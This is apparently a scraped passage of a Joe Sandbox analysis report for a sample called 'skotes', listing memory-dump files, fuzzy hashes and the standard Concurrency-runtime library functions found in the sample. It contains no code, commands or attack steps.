Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c001b779d98e0d0d10cf278b1f4312fb48775a27327fcb0f83dbfc5f765a5328
Instruction ID: 307128410b97acb595c634ae01ac90e01c96ab614f06c3c9d5c32e67c391a625
Opcode Fuzzy Hash: c001b779d98e0d0d10cf278b1f4312fb48775a27327fcb0f83dbfc5f765a5328
Instruction Fuzzy Hash: BA51A0B6E01A06CFDB15CF68E8857AEB7F1FB59304F24856AD406EBA50D374A980CF50

Function 001AF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001AF2BB

Strings

pEvents, xrefs: 001AF2B3

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: a44b1be25fc29c3824f28ed34019c2570645aa567ac92ebf6d97f45041aeaa9a
Instruction ID: edfeea0ea0b045aa41065a6251e62e79c510af5c2117bb0cb3bc0a10a10cc370
Opcode Fuzzy Hash: a44b1be25fc29c3824f28ed34019c2570645aa567ac92ebf6d97f45041aeaa9a
Instruction Fuzzy Hash: 6E816979D00219DBCF25DFE8C981BAEB7B5AF56310F14442EE401A7282DB74EE46CB91

Function 001C26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001C26E3

Part of subcall function 001C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001C2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001C2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001C275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001C27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001C27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 001C2846

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4d614d8eb18b7a96bd388e574c4863620ba93b9d68248bd3b0f885906d118a5e
Instruction ID: 492a96141d96bbb6b6540013931a0955117c46ef1e4023abee4051536016a9cf
Opcode Fuzzy Hash: 4d614d8eb18b7a96bd388e574c4863620ba93b9d68248bd3b0f885906d118a5e
Instruction Fuzzy Hash: 49818934900249ABDF169F94C991FBE7BB2AF76308F04409CED416B292C776CD25DB62

Function 001C2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001C2982

Part of subcall function 001C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001C29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001C29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001C29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 001C2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 001C2AD8

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: f600a3c6e1c98cee9b4c91ca3a1d31f95767e689c663d5fbab05da714d89a323
Instruction ID: 6774b619db9c149348aa571523a70c6be025475a5077a0ca8b25e9263012287e
Opcode Fuzzy Hash: f600a3c6e1c98cee9b4c91ca3a1d31f95767e689c663d5fbab05da714d89a323
Instruction Fuzzy Hash: 09715770900249ABDF15DFA8C991FBEBBB6AF69304F04409CEC416B252C772DD16DB61

Function 001B2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001B2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001B28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001B2913

Part of subcall function 001B07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 001B080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 001B2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001B29DB

Part of subcall function 001B07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001B07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001B29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001B2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001B2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001B2A7E

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
